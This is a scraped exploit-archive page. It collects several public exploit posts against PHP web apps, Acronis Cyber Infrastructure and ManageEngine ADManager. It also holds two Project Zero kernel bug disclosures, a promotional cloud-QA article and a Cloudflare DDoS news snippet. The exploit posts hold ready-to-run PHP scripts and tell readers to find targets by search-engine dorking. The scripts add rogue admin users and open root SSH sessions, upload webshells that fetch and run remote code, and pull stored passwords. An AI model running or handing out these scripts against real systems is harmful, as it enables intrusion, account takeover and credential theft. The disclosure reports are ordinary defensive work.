Computer Laboratory Management System 2024 version 1.0 suffers from a cross site scripting vulnerability.

    ## Titles: LMS2024-1.0 XSS-Reflected Information Disclosure## Author: nu11secur1ty## Date: 00/04/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#google_vignette## Reference: https://portswigger.net/web-security/cross-site-scripting## Description:The value of the username request parameter is copied into the HTMLdocument as plain text between tags. The payload ro2iz<img src=aonerror=alert(1)>xggkt was submitted in the username parameter. This inputwas echoed unmodified in the application's response.STATUS: HIGH- Vulnerability[+]Exploits:- XSS-Reflected:```xssPOST /php-lms/classes/Login.php?f=login HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/128.0.6613.138 Safari/537.36Connection: closeCache-Control: max-age=0Cookie: PHPSESSID=g61goafu1miq2e737ra7dclqmlOrigin: https://pwnedhost.comX-Requested-With: XMLHttpRequestReferer: https://pwnedhost.com/php-lms/admin/login.phpContent-Type: application/x-www-form-urlencoded; charset=UTF-8Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="128","Chromium";v="128"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 37username=VLVAuyqjro2iz%3cimg%20src%3da%20onerror%3dalert(1)%3exggkt&password=e3I!x1c!Q7```+ [Response]```HTTP/1.1 200 OKDate: Fri, 04 Oct 2024 08:27:39 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4X-Powered-By: PHP/8.2.4Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Content-Length: 177Connection: closeContent-Type: text/html; charset=UTF-8{"status":"incorrect","last_qry":"SELECT * from users where username ='VLVAuyqjro2iz<img src=a onerror=alert(1)>xggkt' and password =md5('45ec487cfe5b3bac8e61740ae8dbcd06') "}```## Reproduce:[href](https://www.patreon.com/nu11secur1ty)## Demo PoC:[href](https://www.patreon.com/nu11secur1ty)## Time spent:00:27:00-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/0day Exploit DataBase https://0day.today/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/0day Exploit DataBase https://0day.today/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>

Computer Laboratory Management System 2024 1.0 Cross Site Scripting

Acronis Cyber Infrastructure version 5.0.1-61 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : Acronis Cyber Infrastructure 5.0.1-61 CSRF Add ADmin Vulnerability                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://www.acronis.com/en-eu/products/cyber-infrastructure/                                                                |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] add new admin.[+] Line 83 + 100 +138 + 202 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass AcronisExploit {    private $sshSocket;    private $dbConn;    private $clusterId;        public function __construct() {        // Initialize default values        $this->sshSocket = null;        $this->dbConn = null;        $this->clusterId = null;    }    // Function to add an admin user to PostgreSQL DB    public function addAdminUser($username, $userid, $password) {        echo "Creating admin user $username with userid $userid\n";        // Insert new admin user into the user table        $resQuery = $this->postgresQuery("INSERT INTO \"user\" VALUES('$userid','{}','T',NULL,NULL,NULL,'default');");        if (!$resQuery) return false;        // Insert new admin user into the local_user table        $resQuery = $this->postgresQuery("SELECT MAX(id) FROM \"local_user\";");        if (!$resQuery) return false;                $idLuser = pg_fetch_result($resQuery, 0, 0) + 1;        $resQuery = $this->postgresQuery("INSERT INTO \"local_user\" VALUES('$idLuser','$userid','default','$username',NULL,NULL);");        if (!$resQuery) return false;        // Hash the password        $passwordHash = password_hash($password, PASSWORD_BCRYPT);        echo "Setting password $password with hash $passwordHash\n";        $today = date('Y-m-d');        $resQuery = $this->postgresQuery("INSERT INTO \"password\" VALUES('$idLuser','$idLuser',NULL,'F','$passwordHash',0,NULL,DATE '$today');");        if (!$resQuery) return false;        // Assign admin roles        $idProjectRole = $this->postgresQuery("SELECT id FROM \"project\" WHERE name = 'admin' AND domain_id = 'default';");        $idAdminRole = $this->postgresQuery("SELECT id FROM \"role\" WHERE name = 'admin';");        echo "Assigning the admin roles: $idProjectRole and $idAdminRole\n";        $this->postgresQuery("INSERT INTO \"assignment\" VALUES('UserProject','$userid','$idProjectRole','$idAdminRole','F');");        echo "Successfully created admin user $username with password $password\n";        return true;    }    // Function to run a PostgreSQL query    private function postgresQuery($query) {        $result = pg_query($this->dbConn, $query);        if (!$result) {            echo "PostgreSQL query failed: " . pg_last_error($this->dbConn) . "\n";            return false;        }        return $result;    }    // Function to login to SSH    public function doSshLogin($ip, $user, $sshKey) {        $connection = ssh2_connect($ip, 22);        if (!$connection) {            echo "SSH connection failed\n";            return false;        }        if (ssh2_auth_pubkey_file($connection, $user, $sshKey['public'], $sshKey['private'])) {            $this->sshSocket = $connection;            return true;        } else {            echo "SSH authentication failed\n";            return false;        }    }    // Function to login to Acronis Cyber Infrastructure web portal    public function aciLogin($name, $pwd) {        $postData = json_encode([            'username' => $name,            'password' => $pwd        ]);        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, "https://target-uri/api/v2/login");        curl_setopt($ch, CURLOPT_POST, true);        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);        curl_setopt($ch, CURLOPT_HTTPHEADER, [            'Content-Type: application/json',            'X-Requested-With: XMLHttpRequest'        ]);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        $response = curl_exec($ch);        curl_close($ch);        return (strpos($response, '"code":200') !== false);    }    // Function to get the cluster ID    public function getClusterId() {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, "https://target-uri/api/v2/clusters");        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        $response = curl_exec($ch);        curl_close($ch);        $data = json_decode($response, true);        if (isset($data['data'][0]['id'])) {            return $data['data'][0]['id'];        }        return null;    }    // Function to generate SSH keys    private function generateSshKeys() {        $privateKey = tempnam(sys_get_temp_dir(), 'ssh_private');        $publicKey = $privateKey . '.pub';        ssh2_genkeypair($privateKey, $publicKey);        return [            'private' => $privateKey,            'public' => $publicKey        ];    }    // Function to upload SSH public key    public function uploadSshKey($sshKey, $clusterId) {        $postData = json_encode([            'key' => $sshKey,            'event' => [                'name' => 'SshKeys',                'method' => 'post',                'data' => [                    'key' => $sshKey                ]            ]        ]);        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, "https://target-uri/api/v2/$clusterId/ssh-keys");        curl_setopt($ch, CURLOPT_POST, true);        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);        curl_setopt($ch, CURLOPT_HTTPHEADER, [            'Content-Type: application/json',            'X-Requested-With: XMLHttpRequest'        ]);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        $response = curl_exec($ch);        curl_close($ch);        return (strpos($response, '"task_id"') !== false);    }    // Main exploit function    public function exploit($rhost, $dbPort, $sshPort, $username, $password) {        // Connect to PostgreSQL        $this->dbConn = pg_connect("host=$rhost port=$dbPort dbname=keystone user=vstoradmin password=vstoradmin");        if (!$this->dbConn) {            echo "Could not connect to PostgreSQL database\n";            return false;        }        // Add a new admin user        $newUsername = substr(md5(rand()), 0, 8);        $newPassword = substr(md5(rand()), 0, 16);        $userId = bin2hex(random_bytes(16));        $this->addAdminUser($newUsername, $userId, $newPassword);        // Login to Acronis        if (!$this->aciLogin($newUsername, $newPassword)) {            echo "Failed to login to Acronis\n";            return false;        }        // Get cluster ID        $this->clusterId = $this->getClusterId();        if (!$this->clusterId) {            echo "Failed to get cluster ID\n";            return false;        }        // Generate SSH keys        $sshKey = $this->generateSshKeys();        // Upload SSH public key        if (!$this->uploadSshKey($sshKey['public'], $this->clusterId)) {            echo "Failed to upload SSH public key\n";            return false;        }        // SSH Login        if (!$this->doSshLogin($rhost, 'root', $sshKey)) {            echo "SSH login failed\n";            return false;        }        echo "Exploit successful, SSH session established!\n";        return true;    }}// Example usage$exploit = new AcronisExploit();$exploit->exploit('target-ip', 6432, 22, 'vstoradmin', 'vstoradmin');Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Acronis Cyber Infrastructure 5.0.1-61 Cross Site Request Forgery

Vehicle Service Management System version 1.0 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Vehicle Service Management System 1.0 php code injection Vulnerability                                                      || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/php/10641/online-vehicle-service-management-system                                        |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This code injects the malicious file in path : http://$target_ip/uploads/[+] save payload as poc.php[+] usage : C:\www\test>php poc.php localhost/vservice[+] payload :<?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(                'save' => '',        'username' => 'az',        'password' => 'az@gt.gt',      'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),                  'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/classes/Users.php?f=save");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/uploads/\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Vehicle Service Management System 1.0 Code Injection

Transport Management System version 1.0 suffers from an arbitrary file upload vulnerability.

=============================================================================================================================================  
| # Title     : Transport Management System 1.0 Remote File Upload Vulnerability                                                            |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.xyz/download/project/user/2022/202203/kashipara.com_transport-management-syste.zip                    |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] Go to the line 6.

[+] Set the target site link Save changes and apply . 

[+] save code as poc.html .

<!DOCTYPE html>  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head profile="http://www.w3.org/2005/10/profile">  
<script data-ad-client="ca-pub-2400875940842439" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  
<br>  
            <form class="form-horizontal" action="http://127.0.0.1/Transport-Management/newvehicle.php" method="post" enctype="multipart/form-data">

                                <div class="input-group">  
                  <span class="input-group-addon"><b>Registration Number</b></span>  
                  <input id="vehreg" type="text" class="form-control" name="vehregno" placeholder="Reg No">  
                </div>  
                <br> 

                                 <div class="input-group">  
                  <span class="input-group-addon"><b>Chesis No</b></span>  
                  <input id="vehchesis" type="text" class="form-control" name="vehchesis" placeholder="Chesis No">  
                </div>  
                <br> 

                                <div class="input-group">  
                  <span class="input-group-addon"><b>Brand</b></span>  
                  <input id="vehbrand" type="text" class="form-control" name="vehbrand" placeholder="Brand">  
                </div>  
                <br>

                                <div class="input-group">  
                  <span class="input-group-addon"><b>Color</b></span>  
                  <input id="vehcolor" type="text" class="form-control" name="vehcolor" placeholder="Color">  
                </div>  
                <br>

                                 <div class="input-group">  
                  <span class="input-group-addon"><b>Registration Date</b></span>  
                  <input id="vehregdate" type="text" class="form-control" name="vehregdate" placeholder="Registration date">  
                </div>  
                <br>

                                                               <script>  
                      $( function() {  
                        $( "#vehregdate" ).datepicker();  
                      } );  
                </script> 

                                                <br>

                                 <div class="input-group">  
                  <span class="input-group-addon"><b>Description</b></span>  
                     <textarea rows="5" id="draddress" type="text" class="form-control" name="vehdescription" placeholder="Address"> </textarea>

                                  </div>  
                <br>

                                  
                <div class="input-group">  
                  <span class="input-group-addon"><b>Photo</b></span>  
                  <input  type="file" class="form-control" name="file"> 

              </div>

                                                 <br>

                                <div class="input-group">  
                  <input type="submit" name="submit" class="btn btn-success">

                                  </div>

              </form>     
        </div>    
        <div class="col-md-3"></div>

[+] http://127.0.0.1/Transport-Management/vehicle%20picture/hacked.txt

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Transport Management System 1.0 Arbitrary File Upload

Transport Management System version 1.0 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Transport Management System 1.0 php code injection Vulnerability                                                            || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.xyz/download/project/user/2022/202203/kashipara.com_transport-management-syste.zip                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload inject php code contains a shell.[+] save payload as poc.php[+] usage from cmd : C:\www\test>php 2.php 127.0.0.1/Transport-Management/[+] payload :<?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(                'submit' => '',        'vehregno' => '3',    'vehchesis' => '00213771818860',    'vehdescription' => 'hacked by indoushka',    'file' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),            'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/newvehicle.php");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/vehicle picture/\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Transport Management System 1.0 Code Injection

ManageEngine ADManager version 7183 suffers from a password hash disclosure vulnerability.

    =============================================================================================================================================| # Title     : ManageEngine ADManager 7183 Password Hash Disclosure Vulnerability                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://www.manageengine.com/products/ad-manager/                                                                           |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] ManageEngine ADManager Plus versions prior to build 7183 suffers from a  Password Hash disclosure vulnerability..[+] save code as poc.php .[+] USage : php poc.php -t <target_url> -a <auth> -u <username> -p <password>[+] PayLoad :<?php// تعطيل تحذيرات HTTPSerror_reporting(0);function getPass($target, $auth, $user, $password) {    // تهيئة Session    $ch = curl_init();        // تحويل نوع المصادقة إذا كان ADManager    if (strtolower($auth) == 'admanager') {        $auth = 'ADManager Plus Authentication';    }        // بيانات تسجيل الدخول    $data = http_build_query([        "is_admp_pass_encrypted" => "false",        "j_username" => $user,        "j_password" => $password,        "domainName" => $auth,        "AUTHRULE_NAME" => "ADAuthenticator"    ]);        // إعدادات الطلب    $url = $target . 'j_security_check?LogoutFromSSO=true';    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_POST, true);    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);    curl_setopt($ch, CURLOPT_HTTPHEADER, [        "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",        "Content-Type: application/x-www-form-urlencoded"    ]);    // إرسال الطلب    $response = curl_exec($ch);        // التحقق من المصادقة    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);    if (strpos($response, 'Cookie') !== false) {        echo "[+] Authentication successful!\n";    } elseif ($http_code == 200) {        echo "[-] Invalid login name/password!\n";        exit(0);    } else {        echo "[-] Something went wrong!\n";        exit(1);    }    // استرجاع كلمة المرور    for ($i = 1; $i <= 5; $i++) {        echo "[*] Trying to fetch recovery password for domainId: $i!\n";        $passUrl = $target . 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' . $i . '%22%7D';        curl_setopt($ch, CURLOPT_URL, $passUrl);        curl_setopt($ch, CURLOPT_POST, false);        $passResponse = curl_exec($ch);                if ($passResponse) {            echo $passResponse . "\n";        }    }    curl_close($ch);}function get_args() {    global $argv;    $args = [        'target' => '',        'auth' => '',        'user' => '',        'password' => ''    ];    for ($i = 1; $i < count($argv); $i++) {        switch ($argv[$i]) {            case '-t':            case '--target':                $args['target'] = $argv[++$i];                break;            case '-a':            case '--auth':                $args['auth'] = $argv[++$i];                break;            case '-u':            case '--user':                $args['user'] = $argv[++$i];                break;            case '-p':            case '--password':                $args['password'] = $argv[++$i];                break;        }    }    return $args;}function main() {    $args = get_args();    if (!$args['target'] || !$args['auth'] || !$args['user'] || !$args['password']) {        echo "Usage: php exploit.php -t <target_url> -a <auth> -u <username> -p <password>\n";        exit(1);    }    getPass($args['target'], $args['auth'], $args['user'], $args['password']);}main();?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

ManageEngine ADManager 7183 Password Hash Disclosure

An incorrect searching algorithm in fastrpc_mmap_find can lead to kernel address space information leaks.

    Inside of fastrpc_mmap_find, there exists the following code to search for ADSP_MMAP_HEAP_ADDR or ADSP_MMAP_REMOTE_HEAP_ADDR allocations:hlist_for_each_entry_safe(map, n, &me->maps, hn) {      if (va >= map->va &&      va + len <= map->va + map->len &&      map->fd == fd) {          if (refs) {              if (map->refs + 1 == INT_MAX) {                   spin_unlock_irqrestore(&me->hlock, irq_flags);                   return -ETOOMANYREFS;              }             map->refs++;          }          match = map;          break;      }                  }   This code is wrong at a couple different levels, particularly in the case of a fastrpc_mmap_create-->fastrpc_mmap_find call coming from userland such as in the FASTRPC_IOCTL_MEM_MAP ioctl. I think this code path may not be intended to be reachable from userland at all - although even for requests issued from kernel-land, the contract for this code appears to have some correctness issues. This code uses map->va for finding an associated mapping which for these heap addresses comes from a call to dma_alloc_attrs inside of fastrpc_alloc_cma_memory.  dma_alloc_attrs has two different modes of operation - one returns a kernel virtual address to the allocated memory, and the other returns a struct page pointer that serves as an opaque cookie for the allocated memory. We have the latter case for this invocation of dma_alloc_attrs because of the DMA_ATTR_NO_KERNEL_MAPPING flag applied in fastrpc_mmap_create_remote_heap. We can see this looking at the debugfs-visible global file in the adsprpc directory:===================================  GMAPS  ====================================  fd                  |phys                |size                |va                    --------------------------------------------------------------------------------  -1                  |0xE883A000          |0x1000              |0xFFFFFFFE01A20E80       -1                  |0xE8839000          |0x1000              |0xFFFFFFFE01A20E40       -1                  |0xE8838000          |0x1000              |0xFFFFFFFE01A20E00       -1                  |0xE8837000          |0x1000              |0xFFFFFFFE01A20DC0       -1                  |0xE8836000          |0x1000              |0xFFFFFFFE01A20D80       -1                  |0xE8835000          |0x1000              |0xFFFFFFFE01A20D40       0                   |0xE8834000          |0x1000              |0xFFFFFFFE01A20D00       0                   |0xE8833000          |0x1000              |0xFFFFFFFE01A20CC0       0                   |0xE8832000          |0x1000              |0xFFFFFFFE01A20C80       -1                  |0xE8900000          |0x200000            |0xFFFFFFFE01A24000      This means we end up comparing a userland supplied value against a kernel page pointer - behavior of the kernel ioctl FASTRPC_IOCTL_MEM_MAP differs in userland visible ways based on the outcome of the comparison, meaning that userland can leak kernel page pointer addresses by "guessing" a possible address and observing the resulting error code. Here is the output from the attached PoC on a Samsung S23:  dm1q:/data/local/tmp $ ./poc  Detected address 0xfffffffe01c00000  Final address: 0xfffffffe01a24000   Additionally, because map->va is a struct page pointer as opposed to a genuine address to the underlying buffer, the usage of map->va + map->len is incorrect, and can lead to there being multiple map matches for the same calling parameters.  **This bug is subject to a 90-day disclosure deadline. If a fix for this**  **issue is made available to users before the end of the 90-day deadline,**  **this bug report will become public 30 days after the fix was made**  **available. Otherwise, this bug report will become public at the deadline.**  The scheduled deadline is 2024-09-22.   **For more details, see the Project Zero vulnerability disclosure policy:**  **https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-**   **policy.html** Related CVE Number: CVE-2024-33060.

fastrpc_mmap_find Information Leak

There appears to be some (possibly deprecated) code associated with AF_QIPCRTR sockets in bpf_service.c. Within this file are some ioctl handlers - e.g. qrtr_bpf_filter_attach and qrtr_bpf_filter_detach. In the case of qrtr_bpf_filter_detach, the global pointer bpf_filter is fetched and freed while only holding a socket lock (and an irrelevant rcu_read_lock) - this may lead directly to double frees or use-after-free (kernel memory corruption) if a malicious user is able to call the QRTR_DETTACH_BPF ioctl on multiple AF_QIPCRTR sockets at once. Based on Android SELinux files, it appears this may be possible from some lower-privileged vendor and HAL services.

    There appears to be some (possibly deprecated) code associated with AF_QIPCRTR sockets in bpf_service.c. Within this file are some ioctl handlers - e.g. qrtr_bpf_filter_attach and qrtr_bpf_filter_detach.In the case of qrtr_bpf_filter_detach, the global pointer bpf_filter is fetched and freed while only holding a socket lock (and an irrelevant rcu_read_lock) - this may lead directly to double frees or UAF (kernel memory corruption) if a malicious user is able to call the QRTR_DETTACH_BPF ioctl on multiple AF_QIPCRTR sockets at once. Based on Android SELinux files, it appears this may be possible from some lower-privileged vendor and HAL services.As we don't have a device (nor see any examples of existing Android devices) containing the necessary kernel configuration (CONFIG_QRTR_BPF_FILTER), we are presently unable to reproduce a crash for this bug. If you're aware of this option being enabled on any production kernels, I would be interested to know!This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-09-22.For more details, see the Project Zero vulnerability disclosure policy:https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.htmlNOTE:This was originally reported as a non-security issue on June 17th, however Qualcomm has confirmed that there are affected devices and that they consider this a security issue, so adding this to the tracker.Related CVE Number: CVE-2024-38401.

Android qrtr_bpf_filter_detach Double-Free / Use-After-Free

Cloud-based solutions are transforming the software quality assurance (QA) industry. As organizations increasingly migrate their development and verification…

Cloud-based solutions are transforming the software quality assurance (QA) industry. As organizations increasingly migrate their development and verification processes to the cloud, QA teams gain access to unprecedented scalability, flexibility, and efficiency. This shift is enabling teams to optimize their workflows, better handle growing demands, and respond more swiftly to project needs.

Companies can now accelerate their evaluation cycles, enhance collaboration, and reduce costs, all while leveraging the latest technological advancements. Cloud-based platforms offer a unified environment where QA professionals, developers, and managers can work together seamlessly, regardless of their physical location. This transformation is rapidly becoming a cornerstone of modern software development.

According to AI-powered QA management tool and service provider Aqua Cloud, addressing key pain points in the software validation process requires thorough diligence. Therefore, teams must focus on higher-value activities by simplifying repetitive processes using Aqua Cloud’s AI-powered capabilities and automation tools.

Centralizing quality management in a single ecosystem helps to remove silos and guarantees seamless processes, hence greatly lowering the inefficiencies often afflicting dispersed QA systems.

****The Scalability and Flexibility of Cloud-Based Quality Assurance****

One of the primary advantages of cloud-based solutions is the ability to scale QA environments quickly and efficiently. Traditional on-premise infrastructure requires significant investment in hardware and maintenance, which limits the capacity to scale as demand increases. 

In contrast, cloud-based platforms allow QA teams to scale up or down depending on their current needs, whether they handle small-scale projects or manage enterprise-level applications. This scalability improves resource allocation and reduces the time needed to set up validation environments.

Additionally, cloud-based platforms provide unmatched flexibility. Teams can access QA environments from anywhere, facilitating global collaboration. As remote work becomes more common, the cloud’s accessibility ensures that quality assurance professionals and developers can work together without geographic constraints. This collaborative environment fosters better communication and faster resolution of issues, helping to meet tight development deadlines.

****Cost Efficiency Through Pay-as-You-Go Models****

Cost savings are a critical factor driving the adoption of cloud-based QA solutions. Traditional quality assurance infrastructures require substantial upfront capital investment in hardware, licenses, and ongoing maintenance. Cloud-based platforms, on the other hand, operate on a pay-as-you-go model, meaning that organizations only pay for the resources they use. This allows businesses to optimize their budgets, especially when workloads fluctuate.

The cloud also eliminates the need for dedicated physical infrastructure, reducing not only hardware costs but also associated overheads like energy consumption and IT staff for maintenance. The savings can be redirected toward improving other areas of software development and quality assurance, such as hiring additional QA specialists or investing in advanced tools.

****Enhanced Cooperation and Automation****

In today’s fast-paced software development lifecycle (SDLC), collaboration is essential to delivering high-quality software products. Cloud-based platforms enhance collaboration by providing a centralized repository where all team members can access QA data in real-time. This transparency ensures that everyone — from quality managers to QA professionals and developers — clearly understands the progress and can act swiftly to resolve issues.

Automation is another significant benefit offered by cloud-based solutions. Automated tools integrated within these platforms reduce the need for manual intervention, allowing QA teams to run extensive validation cases without delays. This is particularly useful for repetitive tasks like regression checks, where automation can dramatically cut down the time required for execution. As a result, QA teams can shift their focus to more critical aspects of the process, such as exploratory assessments or improving coverage.

****Improved Security and Compliance****

Security is a primary concern for businesses, particularly those in regulated industries such as healthcare and finance. Cloud-based solutions have evolved to offer strong security features that ensure data integrity and confidentiality. Leading cloud service providers often offer advanced encryption, multi-factor authentication, and compliance with international security standards.

Moreover, cloud-based QA platforms help organizations meet regulatory requirements by providing audit-ready documentation and traceability. Every action within the quality assurance process is logged, ensuring that companies can prove compliance during audits. This feature is invaluable for industries requiring strict data handling and security protocols.

****Integration with Existing Tools****

Another major advantage of cloud-based solutions is their ability to integrate seamlessly with existing tools and frameworks used in the software development lifecycle. Many QA teams rely on a mix of open-source and proprietary tools, which can be difficult to synchronize when operating on traditional infrastructures. Cloud platforms simplify this process by offering pre-built integrations with popular tools like Jira, Jenkins, and Azure DevOps.

This interoperability reduces the complexity of managing multiple systems and eliminates data silos. When all tools are connected within the cloud ecosystem, it becomes easier for teams to share information, monitor performance, and ensure that the entire software development process runs smoothly.

Cloud-based solutions are transforming the infrastructure of software quality assurance, offering unmatched scalability, flexibility, and cost-efficiency. As businesses continue to embrace digital transformation, cloud-based QA solutions will play an increasingly vital role in ensuring the success of software development projects, eliminating inefficiencies, and taking away the pains that have traditionally been associated with the quality assurance process.

1.  Best Practices for Cloud Computing Security
2.  How To Safeguard Your Data With Cloud MRP System
3.  The Role of DevOps in Streamlining Cloud Migration Processes
4.  Insights on Google Cloud Backup and Disaster Recovery Service
5.  Risk Management Strategies: Incorporating Cloud WAFs into Plan

How Cloud-Based Solutions Are Transforming Software Quality Assurance

Internet infrastructure provider Cloudflare fends off a massive 3.8 Tbps DDoS attack, surpassing the previous record. Learn how…

Internet infrastructure provider Cloudflare fends off a massive 3.8 Tbps DDoS attack, surpassing the previous record. Learn how Cloudflare’s advanced security measures protected its customers from this unprecedented cyber threat.

Internet infrastructure provider Cloudflare has successfully repelled a massive distributed denial-of-service (DDoS) attack that reached a staggering 3.8 terabits per second (Tbps) and 2.14 billion packets per second (PPS), confirmed the company’s CEO, Matthew Prince. This unprecedented assault surpasses the previous record of 3.47 Tbps DDoS attack with a packet rate of 340 million PPS encountered by Microsoft in November 2021.

> Not all records you’re happy about breaking: @Cloudflare recently mitigated the largest ever reported hyper-volumetric #DDoS attack. 3.8 terabits per second (Tbps) and 2.14 billion packets per second (Bpps). Handled automatically any without any customer impact. Details to come. pic.twitter.com/SuHZsqCEFV
> 
> — Matthew Prince 🌥 (@eastdakota) October 1, 2024

